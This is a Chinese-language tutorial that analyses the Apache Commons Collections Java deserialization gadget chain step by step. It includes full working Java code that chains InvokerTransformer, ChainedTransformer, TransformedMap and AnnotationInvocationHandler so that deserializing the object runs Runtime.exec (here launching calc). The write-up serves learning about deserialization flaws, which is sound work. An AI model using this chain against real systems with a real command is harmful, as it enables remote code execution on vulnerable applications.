一、危险函数查找

0x01. Transformer类型

CC链的构造几乎大部分都依赖于实现Transformer接口的类,注释也标注所有该类的说明,并且所有实现该接口的类都可序列化

image-20230525110251147

其中最为明显的是注释中的Invoker类,全称也就是InvokerTransformer,可以调用传入的对象的指定方法并返回其调用结果,跟进查看发现该类中的transform方法提供了动态调用方法的函数,如果能控制变量iMethodNameiParamTypesiArgs变量就能执行任意对象的任意方法,即我们可以传入一个Runtime对象,让它调用exec方法即可执行系统命令。

如果无法控制类属性,则可通过反射去修改(JDK17以下编译)

image-20230525110806924

另外该类存在一个构造函数,说明上面说的变量都是可控的

image-20230525112047623

0x02. 简单攻击链构造

反射动态调用函数的简单例子如下:

image-20230525111409230

那我们可以先简单构造一个使用InvokerTransformer去执行命令的链,运行以下代码成功弹出计算器。

1
2
3
4
5
Runtime r = Runtime.getRuntime();
// 实例化一个InvokerTransformer对象,并传入要调用的方法名,传入的参数类型和值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 调用transform方法,触发命令执行
invokerTransformer.transform(r);

image-20230525121319710

二、攻击链构造

接下来看看有哪些类的方法调用了transform方法,最好是能够在readObject方法中直接调用的,不过很明显没有,找到TransformedMap中有一个checkSetValue方法中调用该方法,且比较简单,不过由于被protected,无法直接调用。

image-20230525154247524

TransformedMap类中有一个静态方法decorate可以直接获得TransformedMap实例

image-20230526134315374

继续找看谁调用了checkSetValue,找到类MapEntrysetValue方法

image-20230525154410104

按照上面找到的函数调用关系重新修改下我们的代码,运行弹出计算器后说明这条链没问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 实例化一个Runtime对象
Runtime r = Runtime.getRuntime();
// 实例化一个InvokerTransformer对象,并传入要调用的方法名,传入的参数类型和值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 调用transform方法,触发命令执行
// invokerTransformer.transform(r);

// 创建一个空的HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
// 在该hashMap中传入key和value都为null的对象
hashMap.put(null, null);
// 实例化一个Map对象
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
// 遍历Map,Map的每一对键值对都是一个entry
for (Map.Entry entry:transformedMap.entrySet()) {
// 命令执行触发点
entry.setValue(r);
}

MapEntry类是Map的内置类,在遍历Map的时候会被实例化,我们可以通过上面的代码调试进行跟进:

  • 当我们进入entrySet方法时,如果Check通过就可以返回一个EntrySet类,否则就返回其父类的entrySet返回

    image-20230526135629937

  • 当我们跟进Check方法时,进入的是TransformedMap的方法,而该方法的Check方法条件是类属性valueTransformer不为null,由于我们在实例化该类时,key传入的是null,value传入的是InvokerTransformer对象,故不为空,整体判断为true

    image-20230526141757641

  • 故我们会进入EntrySet类的构造函数中

    image-20230526142217399

  • 最后在遍历的时候会触发Mapiterator方法

    image-20230526142324302

  • 最后通过next方法返回一个MapEntry对象,即我们循环中所使用的entry

    image-20230526142818018

另外其实也可以通过TransformedMap对象中的其他方法去调用transform方法,例如transformValuetransformKey,我这边照样选择使用Value去构造攻击链作为示例

image-20230526143300616

其中同类方法中有个公共的方法put会同时调用transformValuetransformKey方法,根据上面的逻辑可分析出,在调用put方法时,使传入的keynullvalueRuntime对象即可完成命令执行

image-20230526143446133

下面是示例代码以及运行后的结果,不过这边自己也没有接着往下去分析这条攻击链到底能不能回归到readObject中,抛砖引玉以下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 实例化一个Runtime对象
Runtime r = Runtime.getRuntime();
// 实例化一个InvokerTransformer对象,并传入要调用的方法名,传入的参数类型和值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 调用transform方法,触发命令执行
// invokerTransformer.transform(r);

// 创建一个空的HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
// 在该hashMap中传入key和value都为null的对象
hashMap.put(null, null);
// 实例化一个Map对象
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

transformedMap.put(null, r);

image-20230526143734648

紧接着继续找谁调用了setValue方法,发现AnnotationInvocationHandler方法内有个readObject方法调用了setValue,如果可以控制memberValue的值,那么这条链就构造完成。

image-20230526230123842

再看看该类的构造函数,没有public标识,故需要通过反射去获取该类并进行实例化

memberValue是在实例化时传入的参数,故可控

image-20230526230542553

0x01. 问题1-setValue返回对象控制

这个时候就有一个疑问了,调用的setValue方法时,里面的value值时AnnotationTypeMismatchExceptionProxy对象,并不是我们想要的Runtime,这样肯定时无法Runtime对象里的exec方法,但细心的师傅们会发现最开始的Transform的注释中有一个Constant类,其描述是总是返回一样的对象,我们跟进看看

image-20230530145446258

可以发现该类的transform方法返回的是你实例化类时传入的对象,即我们可以控制transform方法返回的是任意的对象,我们再梳理一下之前构造的攻击链:MapEntry.setValue() -> TransformedMap.checkSetValue() -> InvokerTransformer.transform(),如果我们把最末端的链对象InvokerTransformer换成ConstantTransformer对象,那么不管什么对象setValue,最后都只返回初始化时传入的对象。

image-20230530145644644

正好该CC依赖还提供了ChainedTransformer类,调用transform方法时,可实现链式调用的功能,即本次调用transform方法得到的对象作为下一次的transform方法的输入,这样我们就可以解决setValue传入的参数不可控的问题

image-20230530155840080

接下来我们按照上述想法去构造攻击链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 使用ChainedTransformer构造一个动态调用链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// 第一个链返回值恒为传入的对象
new ConstantTransformer(Runtime.class.newInstance()),
// 调用Runtime对象的exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
// 创建一个空的HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
// 在该hashMap中传入key和value都为null的对象
hashMap.put("value", "aaa");
// 实例化一个Map对象
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

// 通过反射获得AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 设置可访问权限
constructor.setAccessible(true);
// 通过反射实例化AnnotationInvocationHandler类
Object o = constructor.newInstance(Target.class, transformedMap);

// 序列化
serialize(o);
// 反序列化
deserialize();

调用setValue传入的对象最后会作为ChainedTransformer对象内的transform方法的输入对象,而Transform链第一条只会返回ConstantTransformer实例化时传入的对象,故可解决该问题

0x02. 问题2-Runtime无法实例化

运行上述代码发现报错了

image-20230530161109610

原来是Runtime对象的构造方法是私有属性,无法通过newInstance实例化,故也只能通过反射进行动态调用exec方法,依旧在ChainedTransformer类中进行构造,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 使用ChainedTransformer构造一个动态调用链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// 第一个链返回值恒为传入的对象
new ConstantTransformer(Runtime.class),
// 构造 Class c = Runtime.class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// c.invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
// 创建一个空的HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
// 在该hashMap中传入key和value都为null的对象
hashMap.put("value", "aaa");
// 实例化一个Map对象
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

serialize(o);
deserialize();

运行上述代码即可成功执行系统命令

image-20230530161855268

ysoserial中的攻击链没有采用TransformedMap类,而是使用LazyMap,但是思路是一样的